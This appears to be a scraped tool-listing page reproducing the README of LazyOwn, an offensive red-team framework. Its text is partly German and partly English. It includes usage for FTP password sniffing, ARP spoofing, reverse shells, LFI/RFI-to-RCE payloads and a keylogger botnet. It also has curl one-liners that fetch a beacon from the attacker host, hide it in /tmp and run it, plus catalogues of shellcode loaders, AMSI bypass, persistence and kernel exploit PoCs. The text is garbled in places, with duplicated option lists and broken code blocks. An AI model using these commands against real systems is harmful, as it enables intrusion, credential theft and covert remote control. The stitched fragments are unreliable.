usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: Die URL, an die die Anfrage gesendet wird (erforderlich). --method: Die zu verwendende HTTP-Methode, z. B. GET oder POST (optional, Standard: GET). --headers: Die Anfrage-Header im JSON-Format (optional, Standard: {}). --params: Die URL-Parameter im JSON-Format (optional, Standard: {}). --data: Die Formulardaten im JSON-Format (optional, Standard: {}). --json_data: Die JSON-Daten für die Anfrage im JSON-Format (optional, Standard: {}). --proxy_port: Der Port für den internen Proxy (optional, Standard: 8080). -w, --wordlist: Der Pfad zur Wortliste für den Fuzzing-Modus (optional). -hc, --hide_code: Der HTTP-Statuscode, der in der Ausgabe ausgeblendet werden soll (optional). Stellen Sie sicher, dass Sie die erforderlichen Argumente angeben, damit das Skript korrekt ausgeführt wird.```sh python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'

root@kitploit:~
Form 2: Erweiterte Nutzung

Wenn Sie die erweiterten Funktionen des Skripts nutzen möchten, wie z. B. Request Replay oder Fuzzing, befolgen Sie diese Schritte:

Request Replay:

Um die Request-Replay-Funktionalität zu nutzen, geben Sie die Argumente wie zuvor angegeben an.
Während der Ausführung fragt das Skript, ob Sie die Anfrage wiederholen möchten. Geben Sie 'y' ein, um zu wiederholen, oder 'n', um den Repeater zu beenden.
Fuzzing:

Um die Fuzzing-Funktionalität zu nutzen, stellen Sie sicher, dass Sie eine Wortliste mit dem Argument -w oder --wordlist angeben.
Das Skript ersetzt das Wort LAZYFUZZ in der URL und anderen Daten durch die Wörter aus der bereitgestellten Wortliste.
Während der Ausführung zeigt das Skript die Ergebnisse jeder Fuzzing-Iteration an.
Dies sind die grundlegenden und erweiterten Möglichkeiten zur Verwendung des Skripts lazyburp.py. Je nach Ihren Anforderungen können Sie die Methode wählen, die am besten zu Ihrer spezifischen Situation passt.```sh
python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
    -hc 501
-h, --helpGibt die Hilfe-Nachricht aus und beendet das Programm
-v, --versionGibt die Versionsnummer aus und beendet das Programm
-l, --log-level<log-level>Legt die Protokollierungsstufe fest (Standard: INFO)
-o, --output<output>Legt den Ausgabemodus fest (Standard: CLI)
-f, --format<format>Legt das Ausgabeformat fest (Standard: TXT)
-s, --severity<severity>Legt die Mindest-Schweregradstufe fest, die gemeldet werden soll (Standard: INFO)
-c, --config<config>Legt den Pfad zur Konfigurationsdatei fest (Standard: config.yaml)
-t, --target<target>Legt das Ziel fest, das gescannt werden soll
-m, --module<module>Legt das auszuführende Modul fest
-k, --keyword<keyword>Legt das Schlüsselwort fest, nach dem gesucht werden soll
-u, --url<url>Legt die URL fest, die gescannt werden soll
-p, --port<port>Legt den Port fest, der gescannt werden soll
,
root@kitploit:~
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/536bf1028ec5c58968040226c36296d17707cc7236e75a4245c2618835265d78/6ff4dbf1c94f750b69acf64298b86dd7982a7ccbc25d4fdaa69b980a254bd63a-display-v1.webp)
Hinweis: Um das Wörterbuch zu verwenden, führen Sie den folgenden Befehl innerhalb von /usr/share/seclists aus:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

Verwendung des LazyOwn FTP-Sniff-Modus

Dieses Modul wird verwendet, um im Netzwerk nach Passwörtern auf FTP-Servern zu suchen. Manche mögen sagen, dass FTP nicht mehr verwendet wird, aber Sie wären überrascht, in welchen kritischen Infrastrukturumgebungen ich riesige FTP-Dienste auf ihren Servern laufen gesehen habe. :)```sh assign device eth0 run lazyftpsniff

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/2c92e5d852a586494d37d892de49b42e849d9602a75cb399dbfef5d2aaf95b44/4cb2b5a8fa35fca9f90ac2471b81765100aaa30b84f11795ee77e727cb3113c0-display-v1.webp)

## Verwendung des LazyReverseShell-Modus

Listen```sh
nc -nlvp 1337 #o el puerto que escojamos

image

dann auf der Zielmaschine```sh ./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

root@kitploit:~
![image](https://assets.kitploit.com/production/public/readmes/56369/207a550ff7c9ce047796bea119a6fd31e0f895b88a8ca98a0c2b231f6e697fd9/d03d9a1178703f93e04997e8d2b10b3a1591e14c707246e517693672653ecc56-display-v1.webp)

## Verwendung von Lazy Curl im Recon-Modus

Das Modul befindet sich im Verzeichnis modules und wird wie folgt verwendet:```sh
chmod +x lazycurl.sh

und dann```sh ./lazycurl.sh --mode GET --url http://10.10.10.10

root@kitploit:~
Verwendung.

GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10

POST:```sh ./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1&param2=value2"

root@kitploit:~
TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
Datei-Upload:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

wordlist-Bruteforce-Modus:```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt

root@kitploit:~
Stellen Sie sicher, dass Sie die Parameter an Ihre Bedürfnisse anpassen und dass die von Ihnen angegebenen Werte für die Optionen in jedem Fall gültig sind.

## Verwendung des ARP-Spoofing-Modus

Das Skript bietet einen ARP-Spoofing-Angriff unter Verwendung von Scapy. In der Payload müssen Sie den lhost, den rhost und das Gerät festlegen, das Sie für die Durchführung des ARP-Spoofings verwenden werden.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

Verwendung des LazyGathering-Modus

Dieses Skript bietet eine Röntgenansicht des betreffenden Systems, auf dem das Tool ausgeführt wird, und liefert Einblicke in dessen Konfiguration und Zustand.

image```sh run lazygath

root@kitploit:~
## Verwendung des Lazy Own LFI RFI 2 RCE-Modus

Der LFI RFI 2 RCE-Modus wurde entwickelt, um einige der bekannteren Payloads gegen die in payload.json angegebenen Parameter zu testen. Dies ermöglicht eine umfassende Bewertung von Local File Inclusion (LFI), Remote File Inclusion (RFI) und Remote Code Execution (RCE)-Schwachstellen im Zielsystem.

![image](https://assets.kitploit.com/production/public/readmes/56369/3bd4f818fd3a15a099e25d21604b8362e5ce76dee05d56f182a6e4817c81edd6/7ba305b87f294e6253a90746031a826f95bf3c65a850ec3aa4e8b4b90dd41208-display-v1.webp)```sh
payload
run lazylfi2rce

Verwendung des LazyOwn Sniffer-Modus

https://www.youtube.com/watch?v=_-DDiiMrIlE

Der Sniffer-Modus ermöglicht die Erfassung von Netzwerkverkehr über Schnittstellen mithilfe der Option -i, die obligatorisch ist. Es gibt viele weitere optionale Einstellungen, die nach Bedarf angepasst werden können.

Verwendung```bash

usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface

Captura de pantalla 2024-06-05 031231

To use the sniffer from the framework, you must configure the device with the command:

root@kitploit:~
lazysniff ausführen
oder einfach
sniff```

### Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.


```sh
./py2el.sh```

## Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)


```sh
lazynetbios ausführen```

## Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.


```sh
payload
run lazybotnet```

## Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

### Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

## License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

## Acknowledgments ✌

A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

### Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>

### Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>

### Thanks to josefcohernandez

For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.

### Thanks to EQSTLab (via yym8538)

For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.

## BlackSandBeacon — Linux BOF

**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.

### What is Linux BOF?

On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:

- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
  (`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
  no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
  `BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
  so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
  libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
  kernel interaction without libc linking.

### Deployment via LazyOwn

```bash
# 1. Beacon erstellen und bereitstellen
(LazyOwn) > blacksandbeacon

# 2. An das Ziel liefern (Befehl wird auf dem Ziel ausgeführt)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 3. BOF-Loader erstellen und bereitstellen
(LazyOwn) > blacksandbeacon_bof

# 4. BOF-Loader an eine aktive Sitzung liefern
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```

### Porting a Windows BOF to Linux

```c
// Win32-API-Aufrufe durch direkte Syscalls oder libc-Äquivalente ersetzen.
// Die datap-API bleibt identisch.
#include "beacon.h"

void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);
    char *target = BeaconDataExtract(&parser, NULL);
    // Linux: syscall(SYS_open, ...) anstelle von CreateFile verwenden
    BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```

Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`

### Adoption gap this closes

| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |

## Related Projects

LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).

### Lightweight beacons (C / ASM)

Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:

- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.

### Lightweight C2 frameworks

Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:

- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.

### AI / orchestration

Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:

- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.

### Loaders, shellcode runners and post-exploitation

Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:

- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.

### Defensive bypass / instrumentation

- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.

### Exploits and CVE PoCs

LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:

- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.

> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.

## Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

## Lazyducky_digispark

![LazyOwn](https://github.com/user-attachments/assets/b7e8c257-c0de-4033-bf4b-57ebc87dcb97)

      Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

        This method checks if Arduino CLI and Micronucleus are installed on the system.
        If they are not available, it installs them. It then compiles a Digispark sketch
        and uploads the generated .hex file to the Digispark device.

        The method performs the following actions:
        1. Checks for the presence of Arduino CLI and installs it if not available.
        2. Configures Arduino CLI for Digispark if not already configured.
        3. Generates a reverse shell payload and prepares the sketch for Digispark.
        4. Compiles the prepared Digispark sketch using Arduino CLI.
        5. Checks for the presence of Micronucleus and installs it if not available.
        6. Uploads the compiled .hex file to the Digispark device using Micronucleus.

        Args:
            line (str): Command line input provided by the user, which may contain additional parameters.

        Returns:
            None: The function does not return any value but may modify the state of the system
                by executing commands.


## Star History

<a href="https://www.star-history.com/#grisuno/LazyOwn&Date">
 <picture>
   <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date&theme=dark" />
   <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=grisuno/LazyOwn&type=Date" />
   <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=grisuno/LazyOwn&amp;type=Date" />
 </picture>
</a>

# Documentation by readmeneitor.py

Documentation automatically created by the script `readmeneitor.py` created for this project; maybe one day it will have its own repo, but for now, I don't see it as necessary.

## ReadMenator now have a repository

[https://github.com/grisuno/ReadMenator](https://github.com/grisuno/ReadMenator)

# Legal disclaimer:
Usage of LazyOwn RedTeam Framework for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.


---

<!-- START UTILS -->
# LazyOwn Command Reference

Auto-generated by readmeneitor.py from source docstrings and cli/command_index.json.

## Table of Contents

- [01. Reconnaissance](#01-reconnaissance) (38 commands)
- [02. Scanning & Enumeration](#02-scanning-&-enumeration) (74 commands)
- [03. Exploitation](#03-exploitation) (66 commands)
- [04. Post-Exploitation](#04-post-exploitation) (45 commands)
- [05. Persistence](#05-persistence) (33 commands)
- [06. Privilege Escalation](#06-privilege-escalation) (16 commands)
- [07. Credential Access](#07-credential-access) (31 commands)
- [08. Lateral Movement](#08-lateral-movement) (30 commands)
- [09. Data Exfiltration](#09-data-exfiltration) (35 commands)
- [10. Command & Control](#10-command-&-control) (28 commands)
- [11. Reporting](#11-reporting) (26 commands)
- [12. Miscellaneous](#12-miscellaneous) (169 commands)
- [13. Diagnostics](#13-diagnostics) (2 commands)
- [Uncategorized](#uncategorized) (135 commands)

---

## 01. Reconnaissance

### `alterx`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the 'alterx' command for subdomain enumeration on the provided self.params['domain']. If 'alterx'

### `apache_users`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs enumeration of users from a target system using `apache-users`.

### `binarycheck`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Performs various checks on a selected binary to gather information and protections.

### `cve`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Search for a CVE using the CIRCL API.

### `dig`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Executes the `dig` command to query DNS information.

### `dnschef`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the DNSChef tool to monitor DNS queries and intercept responses.

### `dnsenum`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsenum` to identify subdomains for a given domain.

### `dnsmap`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Performs DNS enumeration using `dnsmap` to discover subdomains for a specified domain.

### `dnstool_py`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the dnstool.py tool to modify Active Directory-integrated DNS records.

### `estorides_import`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Import Estorides-discovered entities into LazyOwn database and scope.

### `estorides_loop`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Run the bidirectional Estorides <-> LazyOwn feedback loop.

### `estorides_seed`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Feed LazyOwn hosts/domains into Estorides for passive OSINT discovery.

### `estorides_surface`

**Phase:** recon | **Source:** `cli/commands/estorides.py`

Show the combined active + passive attack surface.

### `finalrecon`

**Phase:** recon | **Source:** `cli/commands/recon.py`

Runs the `finalrecon` tool to perform a web server vulnerability scan against the specified target host.

### `getcap`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieve and display file capabilities on the system.

### `gospider`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Try gospider for web spidering.

### `graudit`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the graudit command to perform a static code analysis with the specified options.

### `httprobe`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Executes the httprobe tool to probe domains for working HTTP and HTTPS servers.

### `ipinfo`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

Retrieves detailed information about an IP address using the ARIN API.

### `launchpad`

**Phase:** recon | **Source:** `cli/commands/recon_migrated.py`

---

[Read more](https://github.com/grisuno/lazyown)
Tool herunterladen
lazyown_c2_command, lazyown_c2_redop, lazyown_c2_adversary und jedes run_command, dessen Body auf rm -rf / exfil / wipe / encrypt-file passt, erfordern jetzt ein explizites confirm=true-Argument.
Verhindert versehentliche destruktive Aktionen aus autonomen Schleifen.
Provenienz + Konfidenz bei CredentialsJedes über target_context offengelegte Credential enthält is_likely_credential, confidence, classification und einen provenance-Block (source_file, line_no, captured_at), sofern gefunden.Erforderlich für die Chain-of-Custody in Pentest-Berichten.
Aktualitäts-AnnotationenJede Evidenzdatei im JSON-SITREP und in target_context trägt age_seconds, age_human und stale=true, sobald sie freshness_threshold_seconds überschreitet (Standard 7 Tage; pro Aufruf konfigurierbar).Verhindert, dass der Agent auf Basis veralteter Recon-Evidenz ausnutzt.
secretsdump
PayloadAwareCompleter
Dynamische Alias-Auflösungcli/aliases.py verwendet jetzt standardmäßig lazy=True: Alias-Templates behalten ihre {rhost}/{lhost}/etc.-Platzhalter und werden zur Ausführungszeit gegen self.params gerendert. set rhost X propagiert zum nächsten Tastendruck auf jeden Alias (kein Shell-Neustart). Prä-Substitution ist weiterhin mit lazy=False verfügbar.DynamicAliasResolver, cli/aliases.py
-a
--api-key
<api-key>
Legt den API-Schlüssel fest, der verwendet werden soll
-d, --data<data>Legt die Daten fest, die verwendet werden sollen
-e, --endpoint<endpoint>Legt den Endpunkt fest, der verwendet werden soll
-r, --report<report>Legt den Bericht fest, der generiert werden soll
-i, --input<input>Legt die Eingabedatei fest, die verwendet werden soll
-x, --proxy<proxy>Legt den Proxy fest, der verwendet werden soll
-z, --timeout<timeout>Legt das Timeout fest, das verwendet werden soll
-w, --wordlist<wordlist>Legt die Wortliste fest, die verwendet werden soll
-q, --quietLegt fest, ob die Ausgabe unterdrückt werden soll
-V, --verboseLegt fest, ob die Ausgabe ausführlich sein soll
-D, --debugLegt fest, ob die Ausgabe im Debug-Modus erfolgen soll
-S, --silentLegt fest, ob die Ausgabe stumm erfolgen soll
-C, --colorLegt fest, ob die Ausgabe farbig sein soll
-N, --no-colorLegt fest, ob die Ausgabe nicht farbig sein soll
-U, --updateLegt fest, ob das Tool aktualisiert werden soll
-A, --aboutLegt fest, ob Informationen über das Tool angezeigt werden sollen
-H, --helpLegt fest, ob die Hilfe-Nachricht angezeigt werden soll
-E, --exampleLegt fest, ob ein Beispiel angezeigt werden soll
-T, --testLegt fest, ob ein Test ausgeführt werden soll
-R, --resetLegt fest, ob das Tool zurückgesetzt werden soll
-P, --path<path>Legt den Pfad fest, der verwendet werden soll
-F, --file<file>Legt die Datei fest, die verwendet werden soll
-G, --grep<grep>Legt das Grep-Muster fest, das verwendet werden soll
-B, --blacklist<blacklist>Legt die Blacklist fest, die verwendet werden soll
-W, --whitelist<whitelist>Legt die Whitelist fest, die verwendet werden soll
-I, --include<include>Legt das Include-Muster fest, das verwendet werden soll
-X, --exclude<exclude>Legt das Exclude-Muster fest, das verwendet werden soll
-Y, --yesLegt fest, ob alle Eingabeaufforderungen automatisch mit Ja beantwortet werden sollen
-Z, --noLegt fest, ob alle Eingabeaufforderungen automatisch mit Nein beantwortet werden sollen
-J, --jsonLegt fest, ob die Ausgabe im JSON-Format erfolgen soll
-K, --yamlLegt fest, ob die Ausgabe im YAML-Format erfolgen soll
-L, --xmlLegt fest, ob die Ausgabe im XML-Format erfolgen soll
-M, --markdownLegt fest, ob die Ausgabe im Markdown-Format erfolgen soll
-O, --htmlLegt fest, ob die Ausgabe im HTML-Format erfolgen soll
-Q, --csvLegt fest, ob die Ausgabe im CSV-Format erfolgen soll
-Y, --yamlLegt fest, ob die Ausgabe im YAML-Format erfolgen soll
-Z, --xmlLegt fest, ob die Ausgabe im XML-Format erfolgen soll
-J, --jsonLegt fest, ob die Ausgabe im JSON-Format erfolgen soll
-K, --yamlLegt fest, ob die Ausgabe im YAML-Format erfolgen soll
-L, --xmlLegt fest, ob die Ausgabe im XML-Format erfolgen soll
-M, --markdownLegt fest, ob die Ausgabe im Markdown-Format erfolgen soll
-O, --htmlLegt fest, ob die Ausgabe im HTML-Format erfolgen soll
-Q, --csvLegt fest, ob die Ausgabe im CSV-Format erfolgen soll
python3 lazyown_bprfuzzer.py \ ─╯